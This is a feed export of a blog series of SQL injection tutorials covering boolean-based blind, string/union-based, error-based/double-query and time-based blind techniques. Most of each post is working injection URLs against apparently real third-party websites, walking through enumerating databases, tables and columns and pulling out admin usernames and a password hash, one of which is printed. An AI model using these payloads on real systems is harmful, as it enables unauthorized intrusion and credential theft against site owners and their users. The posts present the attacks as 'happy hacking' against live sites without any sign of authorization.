<p>Returns true, my column name is password! Let’s get the data from it. (In this case the password is “lol123”).<br>Let’s check if it’s “lol123”.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT CONCAT(password) FROM admin LIMIT 0,1)=&quot;lol123&quot;,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>Returns true! My password is “lol123”. I hope you guys enjoyed this tutorial, have fun &amp;&amp; happy hacking! </p>
<blockquote>
<p>Note: You must use SUBSTRING() to get the data letter by letter, I sped up in the case for the tutorials sake because I already knew the information.</p>
</blockquote>
<p><br></p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Today I’m going to be going over TIME BASED BLIND
</summary>
<category term="A-SQLi" scheme="http://sec.php101.cn/categories/A-SQLi/"/>
</entry>
<entry>
<title>SQLi--PART VI:Boolean Based Blind Injection</title>
<link href="http://sec.php101.cn/2014/11/28/SQLi--PART-VIBoolean-Based-Blind-Injection/"/>
<id>http://sec.php101.cn/2014/11/28/SQLi--PART-VIBoolean-Based-Blind-Injection/</id>
<published>2014-11-28T02:24:33.000Z</published>
<updated>2016-03-17T08:39:40.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>So a lot of people view bling injection as having to guess everything, when it’s called blind injection because <strong>no data is visible on the page as an outcome</strong>.</p>
<p><strong>Remember, whenever you’re injecting a site, as long as information_schema exists (version 5 or more), then you can use it to get data out of a page.</strong> This includes table names, database names, columns, and all the rest..</p>
<p>I’ll be using this site as an example.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1</span><br></pre></td></tr></table></figure></p>
<h2 id="Step1-Getting-The-Version"><a href="#Step1-Getting-The-Version" class="headerlink" title="Step1:Getting The Version"></a>Step1:Getting The Version</h2><p>Let’s start by getting the version, to see if we can use substring() to get data out of information_schema.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=5</span><br></pre></td></tr></table></figure></p>
<p>It loads fine, now let’s replace the 5 with a 4 to double check.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=4</span><br></pre></td></tr></table></figure></p>
<p>As you can see, the page has a huge chunk of text and pictures missing off of the page.</p>
<h2 id="Step2-Getting-The-Table-Names"><a href="#Step2-Getting-The-Table-Names" class="headerlink" title="Step2:Getting The Table Names"></a>Step2:Getting The Table Names</h2><p>Now let’s get the first character, of the first table name out of our database.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))&gt;0</span><br></pre></td></tr></table></figure></p>
<p>The page loaded fine, so we know our first characters’ ascii value is more then 0.<br>So we increment 0 until we get around the area it will be in.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))&gt;75</span><br></pre></td></tr></table></figure></p>
<p>We know it’s more then 75, so let’s go up a little bit more.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))&gt;80</span><br></pre></td></tr></table></figure></p>
<p>Now we get our error, so let’s go down, and change more then, to equals to get the exact value.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=76</span><br></pre></td></tr></table></figure></p>
<p>We get our error, so let’s go up.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=77</span><br></pre></td></tr></table></figure></p>
<p>Another error, let’s go up again.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=78</span><br></pre></td></tr></table></figure></p>
<p>And now it loads fine, so let’s check the ascii value for 78.<br>You can check that here, by looking at the ASCII table.<br>78 comes back to “N”.<br>Now we know our first letter is <strong>N</strong>, so let’s get the next letter by incrementing the 1, to a 2, in our substring() statement.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),2,1))&gt;100</span><br></pre></td></tr></table></figure></p>
<p>We know it’s more then 100, so let’s go up to 101 now.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),2,1))&gt;101</span><br></pre></td></tr></table></figure></p>
<p>We get our error. If the returned value is greater then 100, but not greater then 101, then it has to be 101. It’s common sense.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),2,1))=101</span><br></pre></td></tr></table></figure></p>
<p>And it loads fine…Now convert the ascii value of 101 to text. It comes back to “e”.<br>So far we have “Ne”<br>Now you can either keep getting the returned values, or try and guess the table name. It looks like News, so let’s get our next character and guess.<br>The ascii value of “w” is 119, so let’s see if it comes out positive.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),3,1))=119</span><br></pre></td></tr></table></figure></p>
<p>It loads fine, so now we have “New”.<br>Lets check the last one…<br>The value of “s” is 115, so let’s guess again.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),4,1))=115</span><br></pre></td></tr></table></figure></p>
<p>Now we have our “News” table, but how do we know if there’s more characters or not? We can check if the 5th letter’s ascii value is &gt; 0, and if it’s not, it doesn’t exist. So let’s check.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),5,1))&gt;0</span><br></pre></td></tr></table></figure></p>
<p>And the page loads with an error.</p>
<h2 id="Step3-Getting-The-Column-Names"><a href="#Step3-Getting-The-Column-Names" class="headerlink" title="Step3:Getting The Column Names"></a>Step3:Getting The Column Names</h2><p>Getting the columns is fairly similar to getting the table names, you just add a where clause, and convert your table name to HEX/ASCII characters.<br>Let’s see if our table even has columns first.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))&gt;0</span><br></pre></td></tr></table></figure></p>
<p>Page loads fine, so we have a first character that’s value is more then 0. Now let’s get the column name.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))&gt;100</span><br></pre></td></tr></table></figure></p>
<p>No errors, let’s go up.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))&gt;105</span><br></pre></td></tr></table></figure></p>
<p>Error, it’s between 100 and 105.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),1,1))=105</span><br></pre></td></tr></table></figure></p>
<p>Loads fine, the value of 105 is “i”.<br>Then we repeat the process, until we get our next character.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),2,1))&gt;95</span><br></pre></td></tr></table></figure></p>
<p>No error, let’s try 100.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),2,1))&gt;100</span><br></pre></td></tr></table></figure></p>
<p>Error, let’s see if it = 100.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+0,1),2,1))=100</span><br></pre></td></tr></table></figure></p>
<p>No error, so now we have “id”. Theres your first column, to get the next one, you’d just increase the limit and start over on your substring() statement.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+limit+1,1),1,1))&gt;0</span><br></pre></td></tr></table></figure></p>
<h2 id="Step4-Getting-Data-Out-Of-Columns"><a href="#Step4-Getting-Data-Out-Of-Columns" class="headerlink" title="Step4:Getting Data Out Of Columns"></a>Step4:Getting Data Out Of Columns</h2><p>It’s the same process, except we put our column names in a concat statement, FROM the TABLENAME.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))&gt;0</span><br></pre></td></tr></table></figure></p>
<p>So let’s get our first character..<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))&gt;45</span><br></pre></td></tr></table></figure></p>
<p>No error, let’s go up.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))&gt;50</span><br></pre></td></tr></table></figure></p>
<p>Error, go back down until you find the right one.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))=49</span><br></pre></td></tr></table></figure></p>
<p>Loads fine, and the ascii value of 49 comes back to “1”.<br>Now let’s check if there’s a second character..<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),2,1))&gt;0</span><br></pre></td></tr></table></figure></p>
<p>We get an error, so that was all that was our first result.</p>
<h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>As you can see, “Blind Injection” doesn’t really have to do with guessing, as long as your site has information_schema. The correct term is actually “Boolean Based Blind Injection”, which makes sense. A Boolean returns a value of true/false, which is what we just went over. </p>
<p>Well guys, that’s it. Hope you understand, let me know if you need anything.<br><br></p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>So a lot of people view bling injection as having
</summary>
<category term="A-SQLi" scheme="http://sec.php101.cn/categories/A-SQLi/"/>
<category term="Blind" scheme="http://sec.php101.cn/tags/Blind/"/>
<category term="Boolean Based" scheme="http://sec.php101.cn/tags/Boolean-Based/"/>
</entry>
<entry>
<title>SQLi--PART V:String Based SQL injection</title>
<link href="http://sec.php101.cn/2014/11/10/SQLi--PART-VString-Based-SQL-injection/"/>
<id>http://sec.php101.cn/2014/11/10/SQLi--PART-VString-Based-SQL-injection/</id>
<published>2014-11-09T18:15:03.000Z</published>
<updated>2016-03-17T08:39:55.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>None</p>
<h2 id="What-is-String-Based-SQL-injection-and-how-to-notice-them"><a href="#What-is-String-Based-SQL-injection-and-how-to-notice-them" class="headerlink" title="What is String Based SQL injection and how to notice them?"></a>What is String Based SQL injection and how to notice them?</h2><p>To make this simple to understand, String Based SQL injection happens when the site is vulnerable to SQL injection but doesn’t show us the results needed to be displayed after executing our SQLi query.<br>Common known issues that proves the site being vulnerable to String Based are:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&quot;order by&quot; doesn&apos;t work, example: order by 100--</span><br><span class="line">&quot;group by&quot; doesn&apos;t work</span><br><span class="line">&quot;having 1=2&quot; doesn&apos;t work</span><br><span class="line">queries related to SQL injection doesn&apos;t work (will show a normal page even though site is vuln to SQLi)</span><br></pre></td></tr></table></figure></p>
<h2 id="Solution-to-this-issue-in-order-to-hack-a-site-with-String-Based-SQL-injection"><a href="#Solution-to-this-issue-in-order-to-hack-a-site-with-String-Based-SQL-injection" class="headerlink" title="Solution to this issue in order to hack a site with String Based SQL injection"></a>Solution to this issue in order to hack a site with String Based SQL injection</h2><p>The answer to this problem is by using the following format while trying to hack a site with SQLi.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://site.com/index.php?id=10&apos; order by 1000--+</span><br></pre></td></tr></table></figure></p>
<p>That will show us the error, hence displaying the results according to our query.<br>The point here is that we used the quote ‘ and the + sign in our query:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=X&apos; order by--+</span><br></pre></td></tr></table></figure></p>
<p>Alright that you’ve got the point lets try String Based on some of the other types of SQL injection shall we.</p>
<h2 id="String-Union-Based-SQL-injection"><a href="#String-Union-Based-SQL-injection" class="headerlink" title="String-Union Based SQL injection"></a>String-Union Based SQL injection</h2><p>Step1:Obtaining the number of columns (in this example, we’ll use 10 columns)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=234&apos; order by 11--+</span><br></pre></td></tr></table></figure></p>
<p>Results show error, so we’ll assume as 10 columns, since it’ll be an example for our process.</p>
<p>Step2:Obtaining the Databases<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=-234&apos; UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+</span><br></pre></td></tr></table></figure></p>
<p>Results will display the databases on their website<br><strong>Note: If you don’t know anything about UNION Based SQL injection, I suggest you read one of my tutorials to progress further in this step</strong></p>
<p>Step3: Obtaining the Tables from the current Database<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=-234&apos; UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+</span><br></pre></td></tr></table></figure></p>
<p>Results will display the current table names.<br>For this example, we’ll be using the table name: “admin”. </p>
<p>Step4: Obtaining Column names from a specific table (which in this example is “admin”)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=-234&apos; UNION SELECT 1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+</span><br></pre></td></tr></table></figure></p>
<p>Results will display the column names from the current table<br>To convert plain text to hex, use: <a href="http://www.swingnote.com/tools/texttohex.php" target="_blank" rel="external">http://www.swingnote.com/tools/texttohex.php</a>.<br>For this example, we’ll use “username” and “password” as our column names.</p>
<p>Step5: Obtaining Data from Column names<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=-234&apos; UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+</span><br></pre></td></tr></table></figure></p>
<p>Results will display the data given by the columns you have chosen</p>
<p>This can be also done with Error Based SQL injection, Blind Based and other types of SQL injection.<br>Please refer to my previous tutorials to know more about Error Based and Union Based.<br><br></p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>None</p>
<h2 id="What-is-String-Based-SQL-injectio
</summary>
<category term="A-SQLi" scheme="http://sec.php101.cn/categories/A-SQLi/"/>
<category term="MegaSQLi" scheme="http://sec.php101.cn/tags/MegaSQLi/"/>
<category term="String Based" scheme="http://sec.php101.cn/tags/String-Based/"/>
</entry>
<entry>
<title>SQLi--PART IV:Error Based/Double Query SQL injection</title>
<link href="http://sec.php101.cn/2014/11/10/SQLi--PART-IVError-BasedDouble-Query-SQL-injection/"/>
<id>http://sec.php101.cn/2014/11/10/SQLi--PART-IVError-BasedDouble-Query-SQL-injection/</id>
<published>2014-11-09T17:32:16.000Z</published>
<updated>2016-03-17T08:39:33.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Alright I’ll make this tutorial as short as possible so that you can understand faster.</p>
<h2 id="Understanding-Error-Based-Double-Query"><a href="#Understanding-Error-Based-Double-Query" class="headerlink" title="Understanding Error Based/Double Query"></a>Understanding Error Based/Double Query</h2><p>How does Error Base and Double Query work.<br><strong>Error Based:</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A method of extracting information from a database when UNION SELECT function does not work at all. This can be done using a compiled query to extract the database information.</span><br></pre></td></tr></table></figure></p>
<p><strong>Double Query:</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Basically like Error Based, except that the Error Based Query will be doubled as a single query statement so that we&apos;ll get errors with information in it.</span><br></pre></td></tr></table></figure></p>
<p>I’ll explain further in this tutorial.<br>Anyways, focus on this part of this tutorial:</p>
<blockquote>
<p>Error Based IS Double Query<br>Error Based = Double Query (Error based 2x)</p>
</blockquote>
<h2 id="How-do-you-know-you-should-use-Error-Based-Double-Query-Important"><a href="#How-do-you-know-you-should-use-Error-Based-Double-Query-Important" class="headerlink" title="How do you know you should use Error Based/Double Query? (Important!)"></a>How do you know you should use Error Based/Double Query? (Important!)</h2><p>This is the most important part of web hacking; the type of injection to use in different situations.<br>You can use Error Based/ Double Query Injections in the following errors you get.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">a. The Used Select Statements Have Different Number Of Columns.</span><br><span class="line">b. Unknown Column 1 or no columns at all (in webpage and page source)</span><br><span class="line">c. Error #1604</span><br></pre></td></tr></table></figure></p>
<p>Now take note of those errors. You’ll be needing it.</p>
<h2 id="Lets-start-with-Error-Based-SQL-injection"><a href="#Lets-start-with-Error-Based-SQL-injection" class="headerlink" title="Lets start with Error Based SQL injection"></a>Lets start with Error Based SQL injection</h2><p>Alright for this lesson, we’ll use this site as an example:<code>http://www.aliqbalschools.org.</code></p>
<h3 id="First-approach-is-knowing-the-version-of-the-database"><a href="#First-approach-is-knowing-the-version-of-the-database" class="headerlink" title="First approach is knowing the version of the database"></a>First approach is knowing the version of the database</h3><p>To do that we enter this query after the end of the URLor 1 group by<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--</span><br></pre></td></tr></table></figure></p>
<p>So the site will look like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--</span><br></pre></td></tr></table></figure></p>
<p>Results:<br><img src="https://raw.githubusercontent.com/tudouya/blogSource/master/images/TIqze.png" alt=""> </p>
<p>Now that we know the version of the database which is 5, lets move to the next step</p>
<h3 id="Second-step-Getting-the-database-name"><a href="#Second-step-Getting-the-database-name" class="headerlink" title="Second step: Getting the database name"></a>Second step: Getting the database name</h3><p>To get the database, we enter this query:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<blockquote>
<p>Notice the limit function in the query.A website can have more than 2 two databases, so increase the limit until you find all database names.Example: limit 0,1 or limit 1,1 or limit 2,1</p>
</blockquote>
<p>Now our website address will look like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Second step is done where we extract the database names we need.MAKE sure you write the database name on a paper or notepad.We’ll need it later.</p>
<h3 id="Third-Step-Getting-the-TABLE-NAMES"><a href="#Third-Step-Getting-the-TABLE-NAMES" class="headerlink" title="Third Step: Getting the TABLE NAMES"></a>Third Step: Getting the TABLE NAMES</h3><p>Table names is what we need now.<br>Here’s the query we can use:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Don’t also forget the LIMIT function we used here to get table names one by one.<br>Alright our web address will look like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 19,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Now here’s the important part:<br>When you search for tables keep incrementing the limit until you find the valuable table name<br>For example: LIMIT 0,1<br>LIMIT 1,1<br>LIMIT 2,1<br>Keep increasing the number until you find the table you want to extract the information from.<br>Here’s the formula: LIMIT N,1 where N is a random integer </p>
<p>So now we know our table, lets move on to the next step.</p>
<h3 id="Fourth-Step-Getting-Columns-from-specific-TABLE-NAMES"><a href="#Fourth-Step-Getting-Columns-from-specific-TABLE-NAMES" class="headerlink" title="Fourth Step: Getting Columns from specific TABLE NAMES"></a>Fourth Step: Getting Columns from specific TABLE NAMES</h3><p>Alright, now that you’ve chosen the table you wanna extract columns from, time to execute another query.<br>So here’s how a column query extraction will look like:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Notice the LIMIT 0,1 FUNCTION and 0xTABLEHEX.<br>You need to convert your specific table into hex and add 0x at the beginning of the string so that it can be readable to the website.<br>To convert a string to hex use: <a href="http://www.swingnote.com/tools/texttohex.php" target="_blank" rel="external">http://www.swingnote.com/tools/texttohex.php</a>.<br>Here’s how the address will look like along with the query:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Results:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Duplicate entry &apos;Id~1&apos; for key &apos;group_key</span><br></pre></td></tr></table></figure></p>
<p>Now you need to increment the limit until you find valuable columns such as userName and passWord.<br>So in this case,<br>Column name = userName<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Column name= passWord<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Again, don’t forget to see the LIMIT Function<br>Now that we found the columns we want to extract information from i.e “userName” and “passWord”, lets proceed to the next step where we can actually get the login username and password.</p>
<h3 id="Fifth-Step-Extracting-the-data-from-Columns"><a href="#Fifth-Step-Extracting-the-data-from-Columns" class="headerlink" title="Fifth Step: Extracting the data from Columns"></a>Fifth Step: Extracting the data from Columns</h3><p>Alright this part is probably the best in SQL injecting site.<br>Time to get the info from the columns we have.<br>To do that, use this query:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Now before you proceed, watch and focus on the code and study what happens.<br>Here we have 4 variables: </p>
<ol>
<li>COLUMN_NAME: where you insert the column name you want to extract information from<br>2.Databasename: where you insert the current database name of the website so that you’ll be extract info from it </li>
<li>TABLENAME: where you insert the table name of the column names you extracted from </li>
<li>LIMIT N,1: LIMIT Function and N where N is a random integer </li>
</ol>
<p>Now lets do some replacing, FOCUS<br>COLUMN_NAME replace with “userName” and “passWord”<br>Databasename replace with “iqbal_iqbal”<br>TABLENAME replace with “settings” </p>
<p>After you’re done with altering the code to your needs of extracting information, time to execute it.<br>Here’s what the code will look like:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Results:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Duplicate entry &apos;admin~86f574c1d63d53fa804c13c3213953d9~1&apos; for key</span><br></pre></td></tr></table></figure></p>
